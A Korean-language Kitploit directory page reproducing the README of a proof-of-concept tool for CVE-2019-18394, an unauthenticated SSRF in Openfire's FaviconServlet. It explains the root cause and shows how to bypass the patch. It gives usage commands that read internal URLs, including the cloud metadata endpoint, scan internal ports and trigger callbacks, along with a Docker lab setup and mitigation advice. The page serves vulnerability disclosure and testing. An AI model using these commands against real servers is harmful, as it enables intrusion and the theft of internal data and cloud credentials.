Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/l0lsec/openfire-ssrf-cve-2019-18394
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubl0lsec/openfire-ssrf-cve-2019-18394

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

openfire-ssrf-cve-2019-18394

CVE-2019-18394 PoC: Openfire <= 4.4.2 FaviconServlet의 인증되지 않은 전체 읽기 SSRF

저장소 보기
1일 전아직 검토되지 않음

CVE-2019-18394: Openfire FaviconServlet SSRF

Ignite Realtime Openfire 4.4.2 및 이전 버전(관리자 콘솔, 기본 TCP 9090/9091)의 인증되지 않은 서버 측 요청 위조(SSRF). 4.4.3에서 수정됨(이슈 OF-1885).

  • 요청 위조: host 파라미터가 검증 없이 아웃바운드 URL에 연결되므로, 서버가 공격자가 선택한 HTTP GET을 실행합니다.
  • 응답 노출: HTTP 200일 때 업스트림의 원시 본문이 호출자에게 그대로 반환됩니다. 이는 블라인드가 아닌 전체 읽기(full-read) SSRF입니다.
  • 인증 없음: /getFavicon은 관리자 콘솔의 AuthCheckFilter 뒤에 있지 않으며, 서버가 아직 구성되지 않은 초기 설정 상태에서도 응답합니다.

허가된 테스트 전용입니다. 여기의 모든 내용은 직접 구축한 로컬 랩을 대상으로 합니다.

근본 원인

org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):

root@kitploit:~
public void doGet(HttpServletRequest request, HttpServletResponse response) {
    String host = request.getParameter("host");                 // attacker-controlled
    host = "gmail.com".equals(host) ? "google.com" : host;
    byte[] bytes = getImage(host, defaultBytes);
    if (bytes != null) { writeBytesToStream(bytes, response); }  // body returned to caller
}

private byte[] getImage(String host, byte[] defaultImage) {
    ...
    byte[] bytes = getImage("http://" + host + "/favicon.ico");  // unvalidated concatenation
    ...
}

private byte[] getImage(String url) {
    ...
    try (CloseableHttpResponse response = client.execute(getRequest)) {
        if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            return EntityUtils.toByteArray(response.getEntity());   // full body, not just an image
        }
    } ...
}

인증되지 않음. xmppserver/src/main/webapp/WEB-INF/web.xml에서 AuthCheck 필터는 *.jsp, PluginServlet, dwr-invoker에만 매핑됩니다. FaviconServlet은 일반 경로 /getFavicon에 매핑되므로 인증 필터가 실행되지 않습니다.

임의 호스트뿐 아니라 임의 경로. 코드는 /favicon.ico 접미사를 하드코딩합니다. host를 쿼리 문자열로 끝내면 해당 접미사가 파라미터 값으로 밀려 들어갑니다:

root@kitploit:~
host = of_internal/secret?x=    produces    http://of_internal/secret?x=/favicon.ico

스킴은 http://로 고정됨. https:// 대상에는 직접 도달할 수 없지만, 서블릿의 클라이언트가 LaxRedirectStrategy를 사용하므로 http 엔드포인트가 302 리다이렉트로 이어지는 경우에는 도달할 수 있습니다.

4.4.3 수정 및 그 한계

root@kitploit:~
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) {   // OF-1885
    return null;                        // withhold non-image bodies
}
return result;

GraphicsUtils.isImage()는 ImageIO.read(bytes) != null로, 목적지 검사가 아닌 콘텐츠 검사입니다. 패치 후에도 두 가지가 남습니다:

  • 위조된 아웃바운드 요청은 여전히 전송되므로, 블라인드 SSRF(포트 스캔, 내부 서비스 상호작용, 리다이렉트 피벗)는 4.4.3에서도 여전히 작동합니다.
  • 이미지로 파싱되는 모든 응답은 여전히 전체가 반환되며, 이미지 데이터 뒤에 임의 바이트를 덧붙일 수 있으므로 이미지 형태의 전체 읽기 노출은 4.4.3에서도 여전히 작동합니다.

탐지 오라클

  • 모든 결과가 HTTP 200이므로, 성공과 실패는 본문에서만 차이가 납니다. 이 도구는 두 개의 보장된 실패(NXDOMAIN) 요청을 강제하고 비교하여 실패 시그니처를 캡처합니다. 디스크상의 /images/server_16x16.gif는 기준선으로 사용되지 않습니다: 초기화 시 이를 로드하지 못한 서버는 대신 빈 실패 본문을 반환하며, 둘을 불일치시키면 잘못된 결과가 나옵니다.
  • 존재 여부는 구조적으로 확인됩니다: 실패는 200을 응답하는 반면 매핑되지 않은 형제 경로는 404를 응답하므로, 실제 FaviconServlet 매핑과 catch-all을 구분합니다.
  • FaviconServlet은 원시 host를 키로 히트와 미스를 캐시하고 두 번의 미스 후 단락(short-circuit)됩니다. 이 도구는 모든 프로브에 고유한 cb= 캐시 버스터를 추가하여 반복 실행이 오래된 결과를 받지 않도록 합니다.

사용법

Python 3 표준 라이브러리, 의존성 없음.

root@kitploit:~
check   confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read    fetch an arbitrary http:// URL through the target (full-read SSRF)
scan    probe internal TCP ports from the target's network position
root@kitploit:~
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json

# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/

# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090

플래그: --callback-host (대상이 콜백하는 주소), --listen-bind / --listen-port (로컬 리스너), --marker-format gif (4.4.3 isImage() 게이트를 통과하는 이미지 파싱 가능 콘텐츠 반환), --proxy, --json.

종료 코드: 0 정상, 1 발견, 2 오류 또는 취약하지 않음, 3 판정 불가.

랩 및 검증된 결과

차등 Docker 구성: 취약한 4.4.2(콘솔 :9090), 패치된 4.4.3(:9092), 그리고 호스트가 직접 도달할 수 없는 내부 전용 서비스.

root@kitploit:~
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
  'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html

# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
  -v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine

docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
  gizmotronic/openfire:4.4.2 && docker network connect bridge of442   # VULNERABLE

docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
  gizmotronic/openfire:4.4.3 && docker network connect bridge of443   # PATCHED

내부 nginx는 호스트 포트 매핑이 없으므로 호스트에서 직접 가져오면 HTTP 000을 반환하지만, Openfire는 도달할 수 있습니다. 그 SECRET_FLAG를 읽으면 요청이 신뢰 경계를 넘었음을 증명합니다. Docker Desktop에서는 대상이 host.docker.internal을 통해 리스너에 도달합니다(--callback-host에 전달). 네이티브 Linux Docker에서는 docker0 게이트웨이 IP를 사용하거나 --callback-host를 생략하여 자동 탐지합니다.

root@kitploit:~
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read  -t 127.0.0.1:9090 -d http://of_internal/

각 콜백은 User-Agent: Apache-HttpClient/... (Java/...)와 함께 도착하여, 요청이 도구가 아닌 Openfire 자체의 HTTP 클라이언트에서 왔음을 확인했습니다.

참고: gif 결과는 전체 읽기 SSRF를 확인하지만, 이미지 형태의 노출이 두 버전 모두에서 작동하므로 4.4.2와 4.4.3을 구분하지 못합니다. 수정 전과 수정 후를 구분하려면 기본 텍스트 마커를 사용하십시오.

read: 4.4.2는 내부 SECRET_FLAG를 노출했고, 4.4.3은 HTML 페이지를 보류했지만 경로 트릭을 통해 가져온 내부 .gif는 여전히 반환했습니다.

root@kitploit:~
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal   # tear down

완화

Openfire 4.4.3 이상으로 업그레이드하십시오. isImage() 수정은 아웃바운드 요청이나 이미지 형태의 노출을 막지 못하므로, favicon-proxy 기능이 불필요한 경우 Openfire 호스트의 이그레스를 제한하고 관리자 콘솔(9090/9091)을 네트워크 제어 뒤에 배치하십시오.

파일

root@kitploit:~
cve_2019_18394_poc.py   the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md               this document

check는 --json <file>이 주어지면 JSON 증거 기록을 작성합니다.

도구 다운로드
TargetMarkerCallbackBody disclosedVerdictExit
4.4.2 (vuln)textyesyes, verbatimVULNERABLE (unpatched)1
4.4.3 (patched)textyesno, withheld by isImage()PARTIALLY_MITIGATED (blind SSRF)1
4.4.3 (patched)gifyesyes, image + trailing textVULNERABLE full-read (see note)1
non-Openfire (nginx)n/an/an/aendpoint absent2